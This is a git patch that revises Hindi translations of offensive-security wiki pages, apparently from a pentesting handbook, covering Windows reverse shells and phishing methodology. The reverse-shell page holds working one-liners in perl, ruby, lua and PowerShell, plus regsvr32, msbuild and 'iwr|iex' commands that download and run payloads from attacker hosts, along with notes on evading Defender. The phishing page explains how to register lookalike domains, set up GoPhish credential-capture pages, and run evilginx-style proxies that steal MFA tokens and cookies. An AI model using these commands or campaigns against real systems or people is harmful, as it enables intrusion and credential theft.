From 2e4594e4dda135fa313dc25ce0c59db901ee5afa Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 4 Feb 2025 18:49:43 +0000 Subject: [PATCH] Translated ['src/generic-hacking/reverse-shells/windows.md', 'src/generi --- src/generic-hacking/reverse-shells/windows.md | 38 ++-- .../phishing-methodology/README.md | 64 +++--- src/interesting-http.md | 10 +- .../android-app-pentesting/README.md | 140 ++++++------- .../android-applications-basics.md | 84 ++++---- .../drozer-tutorial/README.md | 26 +-- .../make-apk-accept-ca-certificate.md | 8 +- .../iis-internet-information-services.md | 26 +-- .../pentesting-web/wordpress.md | 116 +++++------ src/pentesting-web/cache-deception/README.md | 60 +++--- .../client-side-template-injection-csti.md | 12 +- .../README.md | 76 ++++---- src/pentesting-web/deserialization/README.md | 184 +++++++++--------- src/pentesting-web/open-redirect.md | 2 +- .../pocs-and-polygloths-cheatsheet/README.md | 24 +-- .../postmessage-vulnerabilities/README.md | 38 ++-- src/pentesting-web/reverse-tab-nabbing.md | 34 ++-- ...inclusion-edge-side-inclusion-injection.md | 16 +- src/pentesting-web/websocket-attacks.md | 18 +- .../xss-cross-site-scripting/README.md | 124 ++++++------ .../server-side-xss-dynamic-pdf.md | 32 +-- src/todo/interesting-http.md | 10 +- .../create-msi-with-wix.md | 6 +- 23 files changed, 574 insertions(+), 574 deletions(-) diff --git a/src/generic-hacking/reverse-shells/windows.md b/src/generic-hacking/reverse-shells/windows.md index 64eef496e..568a4cc3d 100644 --- a/src/generic-hacking/reverse-shells/windows.md +++ b/src/generic-hacking/reverse-shells/windows.md @@ -4,7 +4,7 @@ ## Lolbas -पृष्ठ [lolbas-project.github.io](https://lolbas-project.github.io/) Windows के लिए है जैसे [https://gtfobins.github.io/](https://gtfobins.github.io/) linux के लिए है।\ +पृष्ठ [lolbas-project.github.io](https://lolbas-project.github.io/) Windows के लिए है जैसे [https://gtfobins.github.io/](https://gtfobins.github.io/) लिनक्स के लिए है।\ स्पष्ट रूप से, **Windows में SUID फ़ाइलें या sudo विशेषाधिकार नहीं हैं**, लेकिन यह जानना उपयोगी है **कैसे** कुछ **बाइनरी** का (दुरुपयोग) किया जा सकता है ताकि कुछ अप्रत्याशित क्रियाएँ की जा सकें जैसे **मनमाना कोड निष्पादित करना।** ## NC @@ -27,7 +27,7 @@ ncat -l --ssl ``` ## SBD -**[sbd](https://www.kali.org/tools/sbd/) एक पोर्टेबल और सुरक्षित Netcat विकल्प है**। यह Unix-जैसे सिस्टम और Win32 पर काम करता है। मजबूत एन्क्रिप्शन, प्रोग्राम निष्पादन, अनुकूलन योग्य स्रोत पोर्ट और निरंतर पुन: कनेक्शन जैसी सुविधाओं के साथ, sbd TCP/IP संचार के लिए एक बहुपरकारी समाधान प्रदान करता है। Windows उपयोगकर्ताओं के लिए, Kali Linux वितरण से sbd.exe संस्करण Netcat के लिए एक विश्वसनीय विकल्प के रूप में उपयोग किया जा सकता है। +**[sbd](https://www.kali.org/tools/sbd/) एक पोर्टेबल और सुरक्षित Netcat विकल्प है**। यह Unix-जैसे सिस्टम और Win32 पर काम करता है। मजबूत एन्क्रिप्शन, प्रोग्राम निष्पादन, अनुकूलन योग्य स्रोत पोर्ट, और निरंतर पुन: कनेक्शन जैसी सुविधाओं के साथ, sbd TCP/IP संचार के लिए एक बहुपरकारी समाधान प्रदान करता है। Windows उपयोगकर्ताओं के लिए, Kali Linux वितरण से sbd.exe संस्करण Netcat के लिए एक विश्वसनीय विकल्प के रूप में उपयोग किया जा सकता है। ```bash # Victims machine sbd -l -p 4444 -e bash -v -n @@ -54,7 +54,7 @@ perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen( #Windows ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ``` -## लुआ +## Lua ```bash lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' ``` @@ -211,7 +211,7 @@ rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject( ``` ## Regsvr32 -- [यहाँ से](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) +- [यहां से](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll ``` @@ -224,7 +224,7 @@ regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll #### Regsvr32 -sct [**यहां से**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1) -```markup +```html @@ -280,7 +280,7 @@ msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > sh \\webdavserver\folder\batchfile.bat ``` नेटवर्क कॉल करने वाली प्रक्रिया: **svchost.exe**\ -डिस्क पर लिखा गया पेलोड: **WebDAV क्लाइंट स्थानीय कैश** +डिस्क पर लिखा गया पेलोड: **WebDAV client local cache** ```bash msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat impacket-smbserver -smb2support kali `pwd` @@ -324,7 +324,7 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N ``` **नहीं पता चला** -**आप स्टेजर wmic का उपयोग करके बहुत आसानी से Koadic ज़ोंबी डाउनलोड और निष्पादित कर सकते हैं** +**आप बहुत आसानी से stager wmic का उपयोग करके Koadic ज़ोंबी डाउनलोड और निष्पादित कर सकते हैं** ## Msbuild @@ -332,7 +332,7 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N ``` cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml" ``` -आप इस तकनीक का उपयोग एप्लिकेशन व्हाइटलिस्टिंग और Powershell.exe प्रतिबंधों को बायपास करने के लिए कर सकते हैं। आपको एक PS शेल के साथ संकेत दिया जाएगा।\ +आप इस तकनीक का उपयोग Application Whitelisting और Powershell.exe प्रतिबंधों को बायपास करने के लिए कर सकते हैं। जैसे ही आपको एक PS शेल के साथ संकेत दिया जाएगा।\ बस इसे डाउनलोड करें और निष्पादित करें: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj) ``` C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj @@ -347,11 +347,11 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe s ``` आप यहाँ से एक बुनियादी C# रिवर्स शेल डाउनलोड कर सकते हैं: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc) -**नहीं Detected** +**Not deteted** ## **Regasm/Regsvc** -- [यहाँ से](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) +- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll ``` @@ -379,11 +379,11 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt} ``` Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444 ``` -एक वेब सर्वर में स्क्रिप्ट को सर्व करना शुरू करें और इसे पीड़ित के अंत पर निष्पादित करें: +एक वेब सर्वर में स्क्रिप्ट को चालू करें और इसे पीड़ित के अंत पर निष्पादित करें: ``` powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex" ``` -Defender इसे दुर्भावनापूर्ण कोड के रूप में पहचानता नहीं है (अभी, 3/04/2019)। +Defender इसे दुर्भावनापूर्ण कोड के रूप में पहचानता नहीं है (अभी, 3/04/2019). **TODO: अन्य nishang शेल की जांच करें** @@ -391,7 +391,7 @@ Defender इसे दुर्भावनापूर्ण कोड के [**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat) -डाउनलोड करें, एक वेब सर्वर शुरू करें, श्रोता शुरू करें, और इसे पीड़ित के अंत पर निष्पादित करें: +डाउनलोड करें, एक वेब सर्वर शुरू करें, लिस्नर शुरू करें, और इसे पीड़ित के अंत पर निष्पादित करें: ``` powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" ``` @@ -420,7 +420,7 @@ powercat -l -p 443 -i C:\inputfile -rep [https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire) -एक पावरशेल लॉन्चर बनाएं, इसे एक फ़ाइल में सहेजें और डाउनलोड करके निष्पादित करें। +एक पावरशेल लॉन्चर बनाएं, इसे एक फ़ाइल में सहेजें और डाउनलोड करके इसे निष्पादित करें। ``` powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" ``` @@ -430,11 +430,11 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c [https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn) -यूनिकॉर्न का उपयोग करके मेटास्प्लॉइट बैकडोर का एक पावरशेल संस्करण बनाएं +यूनिकॉर्न का उपयोग करके मेटास्प्लॉइट बैकडोर का एक पॉवरशेल संस्करण बनाएं ``` python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443 ``` -बनाए गए संसाधन के साथ msfconsole शुरू करें: +msfconsole को बनाए गए संसाधन के साथ शुरू करें: ``` msfconsole -r unicorn.rc ``` @@ -446,9 +446,9 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex" ## अधिक -[PS>Attack](https://github.com/jaredhaight/PSAttack) PS कंसोल जिसमें कुछ आक्रामक PS मॉड्यूल प्रीलोडेड हैं (साइफर्ड)\ -[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9)[\ -WinPWN](https://github.com/SecureThisShit/WinPwn) PS कंसोल जिसमें कुछ आक्रामक PS मॉड्यूल और प्रॉक्सी डिटेक्शन है (IEX) +[PS>Attack](https://github.com/jaredhaight/PSAttack) PS कंसोल कुछ आक्रामक PS मॉड्यूल के साथ प्रीलोडेड (साइफर्ड)\ +[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\ +WinPWN](https://github.com/SecureThisShit/WinPwn) PS कंसोल कुछ आक्रामक PS मॉड्यूल और प्रॉक्सी डिटेक्शन के साथ (IEX) ## संदर्भ diff --git a/src/generic-methodologies-and-resources/phishing-methodology/README.md b/src/generic-methodologies-and-resources/phishing-methodology/README.md index 44efb0f4c..f185d8281 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/README.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/README.md @@ -6,7 +6,7 @@ 1. पीड़ित की पहचान करें 1. **पीड़ित डोमेन** का चयन करें। -2. पीड़ित द्वारा उपयोग किए जाने वाले **लॉगिन पोर्टल्स** की खोज करते हुए कुछ बुनियादी वेब एन्यूमरेशन करें और **निर्णय लें** कि आप किसका **नकली रूप** धारण करेंगे। +2. पीड़ित द्वारा उपयोग किए जाने वाले **लॉगिन पोर्टल्स** की कुछ बुनियादी वेब एन्यूमरेशन करें और **निर्णय लें** कि आप किसका **नकली रूप** धारण करेंगे। 3. कुछ **OSINT** का उपयोग करके **ईमेल खोजें**। 2. वातावरण तैयार करें 1. **डोमेन खरीदें** जिसका आप फ़िशिंग आकलन के लिए उपयोग करने जा रहे हैं @@ -14,23 +14,23 @@ 3. **gophish** के साथ VPS कॉन्फ़िगर करें 3. अभियान तैयार करें 1. **ईमेल टेम्पलेट** तैयार करें -2. क्रेडेंशियल्स चुराने के लिए **वेब पेज** तैयार करें +2. क्रेडेंशियल चुराने के लिए **वेब पेज** तैयार करें 4. अभियान शुरू करें! ## समान डोमेन नाम उत्पन्न करें या एक विश्वसनीय डोमेन खरीदें ### डोमेन नाम विविधता तकनीकें -- **कीवर्ड**: डोमेन नाम में मूल डोमेन का एक महत्वपूर्ण **कीवर्ड** **शामिल** होता है (जैसे, zelster.com-management.com)। -- **हाइफनेट सबडोमेन**: एक सबडोमेन के लिए **डॉट को हाइफन** में बदलें (जैसे, www-zelster.com)। +- **कीवर्ड**: डोमेन नाम में मूल डोमेन का एक महत्वपूर्ण **कीवर्ड** **शामिल** है (जैसे, zelster.com-management.com)। +- **हाइफनेट सबडोमेन**: एक सबडोमेन के **डॉट को हाइफन** में बदलें (जैसे, www-zelster.com)। - **नया TLD**: एक **नए TLD** का उपयोग करते हुए वही डोमेन (जैसे, zelster.org) - **हॉमोग्लिफ**: यह डोमेन नाम में एक अक्षर को **ऐसे अक्षरों से बदलता है जो समान दिखते हैं** (जैसे, zelfser.com)। - **स्थानांतरण:** यह डोमेन नाम में **दो अक्षरों को स्वैप** करता है (जैसे, zelsetr.com)। - **एकवचन/बहुवचन**: डोमेन नाम के अंत में “s” जोड़ता या हटाता है (जैसे, zeltsers.com)। - **अवशेष**: यह डोमेन नाम से **एक** अक्षर को **हटाता है** (जैसे, zelser.com)। - **दोहराव:** यह डोमेन नाम में **एक** अक्षर को **दोहराता है** (जैसे, zeltsser.com)। -- **प्रतिस्थापन**: हॉमोग्लिफ की तरह लेकिन कम छिपा हुआ। यह डोमेन नाम में एक अक्षर को बदलता है, शायद कीबोर्ड पर मूल अक्षर के निकट के अक्षर के साथ (जैसे, zektser.com)। -- **सबडोमेन**: डोमेन नाम के अंदर एक **डॉट** जोड़ें (जैसे, ze.lster.com)। +- **प्रतिस्थापन**: हॉमोग्लिफ की तरह लेकिन कम छिपा हुआ। यह डोमेन नाम में एक अक्षर को बदलता है, शायद कीबोर्ड पर मूल अक्षर के निकटता में एक अक्षर के साथ (जैसे, zektser.com)। +- **सबडोमेन**: डोमेन नाम के अंदर एक **डॉट** पेश करें (जैसे, ze.lster.com)। - **सम्मिलन**: यह डोमेन नाम में **एक अक्षर सम्मिलित** करता है (जैसे, zerltser.com)। - **गायब डॉट**: डोमेन नाम के साथ TLD जोड़ें। (जैसे, zelstercom.com) @@ -53,7 +53,7 @@ उदाहरण के लिए, "windows.com" डोमेन में एकल बिट संशोधन इसे "windnws.com" में बदल सकता है। -हमलावर इस पर **लाभ उठा सकते हैं** कि वे पीड़ित के डोमेन के समान कई बिट-फ्लिपिंग डोमेन पंजीकृत करें। उनका इरादा वैध उपयोगकर्ताओं को अपनी खुद की अवसंरचना की ओर पुनर्निर्देशित करना है। +हमलावर **इसका लाभ उठाकर कई बिट-फ्लिपिंग डोमेन पंजीकृत कर सकते हैं** जो पीड़ित के डोमेन के समान हैं। उनका इरादा वैध उपयोगकर्ताओं को अपनी खुद की अवसंरचना की ओर पुनर्निर्देशित करना है। अधिक जानकारी के लिए पढ़ें [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/) @@ -65,7 +65,7 @@ - [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter) - [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/) -## ईमेल खोजें +## ईमेल खोजने - [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester) (100% मुफ्त) - [https://phonebook.cz/](https://phonebook.cz) (100% मुफ्त) @@ -74,7 +74,7 @@ - [https://anymailfinder.com/](https://anymailfinder.com) **अधिक** मान्य ईमेल पते खोजने या **पहले से खोजे गए पते** की पुष्टि करने के लिए आप देख सकते हैं कि क्या आप पीड़ित के smtp सर्वरों को ब्रूट-फोर्स कर सकते हैं। [यहां ईमेल पते की पुष्टि/खोजने के तरीके के बारे में जानें](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\ -इसके अलावा, यह न भूलें कि यदि उपयोगकर्ता **अपने मेल तक पहुंचने के लिए कोई वेब पोर्टल** का उपयोग करते हैं, तो आप देख सकते हैं कि क्या यह **यूजरनेम ब्रूट फोर्स** के लिए कमजोर है, और यदि संभव हो तो इस कमजोरी का लाभ उठाएं। +इसके अलावा, यह न भूलें कि यदि उपयोगकर्ता **अपने मेल तक पहुंचने के लिए कोई वेब पोर्टल का उपयोग करते हैं**, तो आप देख सकते हैं कि क्या यह **यूजरनेम ब्रूट फोर्स** के लिए कमजोर है, और यदि संभव हो तो इस कमजोरी का लाभ उठाएं। ## GoPhish कॉन्फ़िगर करना @@ -82,7 +82,7 @@ आप इसे [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0) से डाउनलोड कर सकते हैं -इसे `/opt/gophish` के अंदर डाउनलोड और अनज़िप करें और `/opt/gophish/gophish` चलाएं।\ +इसे `/opt/gophish` के अंदर डाउनलोड और डिकंप्रेस करें और `/opt/gophish/gophish` चलाएं।\ आपको आउटपुट में पोर्ट 3333 पर व्यवस्थापक उपयोगकर्ता के लिए एक पासवर्ड दिया जाएगा। इसलिए, उस पोर्ट तक पहुंचें और व्यवस्थापक पासवर्ड बदलने के लिए उन क्रेडेंशियल्स का उपयोग करें। आपको उस पोर्ट को स्थानीय पर टनल करने की आवश्यकता हो सकती है: ```bash ssh -L 3333:127.0.0.1:3333 @ @@ -221,7 +221,7 @@ service gophish stop ``` ## मेल सर्वर और डोमेन कॉन्फ़िगर करना -### प्रतीक्षा करें और वैध रहें +### प्रतीक्षा करें और वैध बनें जितना पुराना एक डोमेन होगा, उतना ही कम संभावना है कि इसे स्पैम के रूप में पकड़ा जाएगा। इसलिए आपको फ़िशिंग मूल्यांकन से पहले जितना संभव हो सके (कम से कम 1 सप्ताह) प्रतीक्षा करनी चाहिए। इसके अलावा, यदि आप किसी प्रतिष्ठित क्षेत्र के बारे में एक पृष्ठ डालते हैं, तो प्राप्त प्रतिष्ठा बेहतर होगी। @@ -247,7 +247,7 @@ v=spf1 mx a ip4:ip.ip.ip.ip ?all आपको **नए डोमेन के लिए DMARC रिकॉर्ड कॉन्फ़िगर करना होगा**। यदि आप नहीं जानते कि DMARC रिकॉर्ड क्या है [**इस पृष्ठ को पढ़ें**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc)। -आपको एक नया DNS TXT रिकॉर्ड बनाना होगा जो होस्टनेम `_dmarc.` की ओर इंगित करता है जिसमें निम्नलिखित सामग्री है: +आपको एक नया DNS TXT रिकॉर्ड बनाना होगा जो होस्टनाम `_dmarc.` की ओर इंगित करता है जिसमें निम्नलिखित सामग्री है: ```bash v=DMARC1; p=none ``` @@ -267,12 +267,12 @@ v=DMARC1; p=none ### अपने ईमेल कॉन्फ़िगरेशन स्कोर का परीक्षण करें आप [https://www.mail-tester.com/](https://www.mail-tester.com) का उपयोग करके ऐसा कर सकते हैं\ -बस पृष्ठ पर जाएं और उस पते पर एक ईमेल भेजें जो वे आपको देते हैं: +बस पृष्ठ पर जाएं और आपको दिए गए पते पर एक ईमेल भेजें: ```bash echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com ``` आप अपने **ईमेल कॉन्फ़िगरेशन** की भी जांच कर सकते हैं `check-auth@verifier.port25.com` पर एक ईमेल भेजकर और **प्रतिक्रिया पढ़कर** (इसके लिए आपको **पोर्ट** **25** खोलने की आवश्यकता होगी और यदि आप ईमेल को रूट के रूप में भेजते हैं तो फ़ाइल _/var/mail/root_ में प्रतिक्रिया देखें)।\ -जांचें कि आप सभी परीक्षणों में पास होते हैं: +सुनिश्चित करें कि आप सभी परीक्षणों में पास करते हैं: ```bash ========================================================== Summary of Results @@ -291,7 +291,7 @@ dkim=pass header.i=@example.com; ``` ### ​Spamhouse ब्लैकलिस्ट से हटाना -पृष्ठ [www.mail-tester.com](https://www.mail-tester.com) आपको यह बता सकता है कि आपका डोमेन spamhouse द्वारा ब्लॉक किया गया है या नहीं। आप अपने डोमेन/IP को हटाने के लिए अनुरोध कर सकते हैं: ​[https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/) +पृष्ठ [www.mail-tester.com](https://www.mail-tester.com) आपको यह बता सकता है कि क्या आपका डोमेन spamhouse द्वारा ब्लॉक किया गया है। आप अपने डोमेन/IP को हटाने के लिए अनुरोध कर सकते हैं: ​[https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/) ### Microsoft ब्लैकलिस्ट से हटाना @@ -305,19 +305,19 @@ dkim=pass header.i=@example.com; - तय करें कि आप फ़िशिंग ईमेल किस खाते से भेजने जा रहे हैं। सुझाव: _noreply, support, servicedesk, salesforce..._ - आप उपयोगकर्ता नाम और पासवर्ड को खाली छोड़ सकते हैं, लेकिन सुनिश्चित करें कि Ignore Certificate Errors को चेक करें -![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>) +![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>) > [!NOTE] > यह अनुशंसा की जाती है कि आप यह सुनिश्चित करने के लिए "**Send Test Email**" कार्यक्षमता का उपयोग करें कि सब कुछ काम कर रहा है।\ -> मैं अनुशंसा करूंगा कि **परीक्षण ईमेल 10 मिनट मेल पते पर भेजें** ताकि परीक्षण करते समय ब्लैकलिस्ट में न जाएं। +> मैं अनुशंसा करूंगा कि **परीक्षण ईमेल 10 मिनट के मेल पते पर भेजें** ताकि परीक्षण करते समय ब्लैकलिस्ट में न जाएं। ### ईमेल टेम्पलेट - टेम्पलेट को पहचानने के लिए कुछ **नाम सेट करें** -- फिर एक **विषय** लिखें (कुछ अजीब नहीं, बस कुछ ऐसा जो आप एक नियमित ईमेल में पढ़ने की उम्मीद कर सकते हैं) +- फिर एक **विषय** लिखें (कुछ अजीब नहीं, बस कुछ ऐसा जो आप नियमित ईमेल में पढ़ने की उम्मीद कर सकते हैं) - सुनिश्चित करें कि आपने "**Add Tracking Image**" को चेक किया है - **ईमेल टेम्पलेट** लिखें (आप निम्नलिखित उदाहरण की तरह वेरिएबल का उपयोग कर सकते हैं): -```markup +```html @@ -348,10 +348,10 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY ### लैंडिंग पृष्ठ -- एक **नाम** लिखें +- एक **नाम** लिखें। - **वेब पृष्ठ का HTML कोड** लिखें। ध्यान दें कि आप **वेब पृष्ठों को आयात** कर सकते हैं। -- **सबमिट किए गए डेटा को कैप्चर करें** और **पासवर्ड कैप्चर करें** को चिह्नित करें -- एक **रीडायरेक्शन** सेट करें +- **कैप्चर सबमिटेड डेटा** और **कैप्चर पासवर्ड** को चिह्नित करें। +- एक **रीडायरेक्शन** सेट करें। ![](<../../images/image (826).png>) @@ -360,12 +360,12 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY > ध्यान दें कि यदि आपको HTML के लिए **कुछ स्थिर संसाधनों** का उपयोग करने की आवश्यकता है (शायद कुछ CSS और JS पृष्ठ) तो आप उन्हें _**/opt/gophish/static/endpoint**_ में सहेज सकते हैं और फिर _**/static/\**_ से उन तक पहुंच सकते हैं। > [!NOTE] -> रीडायरेक्शन के लिए आप **शिकार के वास्तविक मुख्य वेब पृष्ठ पर उपयोगकर्ताओं को रीडायरेक्ट कर सकते हैं**, या उदाहरण के लिए _/static/migration.html_ पर रीडायरेक्ट कर सकते हैं, कुछ **स्पिनिंग व्हील** (**[**https://loading.io/**](https://loading.io)**) 5 सेकंड के लिए और फिर संकेत दें कि प्रक्रिया सफल रही**। +> रीडायरेक्शन के लिए आप **उपयोगकर्ताओं को पीड़ित के वैध मुख्य वेब पृष्ठ पर रीडायरेक्ट** कर सकते हैं, या उन्हें उदाहरण के लिए _/static/migration.html_ पर रीडायरेक्ट कर सकते हैं, कुछ **स्पिनिंग व्हील** ([**https://loading.io/**](https://loading.io)**) 5 सेकंड के लिए और फिर संकेत दें कि प्रक्रिया सफल रही।** ### उपयोगकर्ता और समूह -- एक नाम सेट करें -- **डेटा आयात करें** (ध्यान दें कि उदाहरण के लिए टेम्पलेट का उपयोग करने के लिए आपको प्रत्येक उपयोगकर्ता का पहला नाम, अंतिम नाम और ईमेल पता चाहिए) +- एक नाम सेट करें। +- **डेटा आयात करें** (ध्यान दें कि उदाहरण के लिए टेम्पलेट का उपयोग करने के लिए आपको प्रत्येक उपयोगकर्ता का पहला नाम, अंतिम नाम और ईमेल पता चाहिए)। ![](<../../images/image (163).png>) @@ -378,7 +378,7 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY ![](<../../images/image (192).png>) > [!NOTE] -> मैं **10 मिनट के मेल पते पर परीक्षण ईमेल भेजने की सिफारिश करूंगा** ताकि परीक्षण करते समय ब्लैकलिस्ट में न पड़ें। +> मैं **10 मिनट के मेल पते पर परीक्षण ईमेल भेजने की सिफारिश करूंगा** ताकि परीक्षण करते समय ब्लैकलिस्ट में न फंसें। जब सब कुछ तैयार हो जाए, तो बस अभियान शुरू करें! @@ -403,9 +403,9 @@ phishing-documents.md ### प्रॉक्सी MitM के माध्यम से -पिछला हमला काफी चालाक है क्योंकि आप एक वास्तविक वेबसाइट का अनुकरण कर रहे हैं और उपयोगकर्ता द्वारा सेट की गई जानकारी एकत्र कर रहे हैं। दुर्भाग्यवश, यदि उपयोगकर्ता ने सही पासवर्ड नहीं डाला या यदि आप जिस एप्लिकेशन का अनुकरण कर रहे हैं वह 2FA के साथ कॉन्फ़िगर किया गया है, तो **यह जानकारी आपको धोखे में पड़े उपयोगकर्ता का अनुकरण करने की अनुमति नहीं देगी**। +पिछला हमला काफी चालाक है क्योंकि आप एक असली वेबसाइट का अनुकरण कर रहे हैं और उपयोगकर्ता द्वारा सेट की गई जानकारी एकत्र कर रहे हैं। दुर्भाग्यवश, यदि उपयोगकर्ता ने सही पासवर्ड नहीं डाला या यदि आप जिस एप्लिकेशन का अनुकरण कर रहे हैं वह 2FA के साथ कॉन्फ़िगर किया गया है, **तो यह जानकारी आपको धोखे में पड़े उपयोगकर्ता का अनुकरण करने की अनुमति नहीं देगी**। -यहां ऐसे उपकरण हैं जैसे [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) और [**muraena**](https://github.com/muraenateam/muraena) उपयोगी हैं। यह उपकरण आपको एक MitM जैसे हमले को उत्पन्न करने की अनुमति देगा। मूल रूप से, हमले इस प्रकार काम करते हैं: +यहां ऐसे उपकरण हैं जैसे [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) और [**muraena**](https://github.com/muraenateam/muraena) उपयोगी हैं। यह उपकरण आपको एक MitM जैसे हमले को उत्पन्न करने की अनुमति देगा। मूल रूप से, हमले का काम करने का तरीका इस प्रकार है: 1. आप **वास्तविक वेबपृष्ठ** के लॉगिन फ़ॉर्म का अनुकरण करते हैं। 2. उपयोगकर्ता **अपनी** **क्रेडेंशियल्स** को आपके फ़र्ज़ी पृष्ठ पर भेजता है और उपकरण उन्हें वास्तविक वेबपृष्ठ पर भेजता है, **जांचता है कि क्या क्रेडेंशियल्स काम करते हैं**। @@ -414,21 +414,21 @@ phishing-documents.md ### VNC के माध्यम से -क्या होगा यदि आप **पीड़ित को एक दुर्भावनापूर्ण पृष्ठ पर भेजने के बजाय** उसी रूप में एक **VNC सत्र में भेजते हैं जिसमें वास्तविक वेब पृष्ठ से जुड़ा एक ब्राउज़र है**? आप देख सकेंगे कि वह क्या करता है, पासवर्ड, उपयोग किए गए MFA, कुकीज़ चुराते हैं...\ +क्या होगा यदि आप **पीड़ित को एक दुर्भावनापूर्ण पृष्ठ पर भेजने के बजाय** उसे एक **VNC सत्र में भेजते हैं जिसमें वास्तविक वेब पृष्ठ से जुड़े ब्राउज़र** होते हैं? आप देख सकेंगे कि वह क्या करता है, पासवर्ड, उपयोग किए गए MFA, कुकीज़ चुराते हैं...\ आप इसे [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) के साथ कर सकते हैं। ## पहचानने की पहचान -स्पष्ट रूप से, यह जानने के सबसे अच्छे तरीकों में से एक है कि क्या आपको पकड़ा गया है, **ब्लैकलिस्ट में अपने डोमेन की खोज करना**। यदि यह सूचीबद्ध है, तो किसी न किसी तरह आपका डोमेन संदिग्ध के रूप में पहचाना गया।\ +स्पष्ट रूप से, यह जानने के सबसे अच्छे तरीकों में से एक है कि क्या आपको पकड़ा गया है, **अपने डोमेन को ब्लैकलिस्ट में खोजना**। यदि यह सूचीबद्ध है, तो किसी न किसी तरह आपका डोमेन संदिग्ध के रूप में पहचाना गया।\ यह 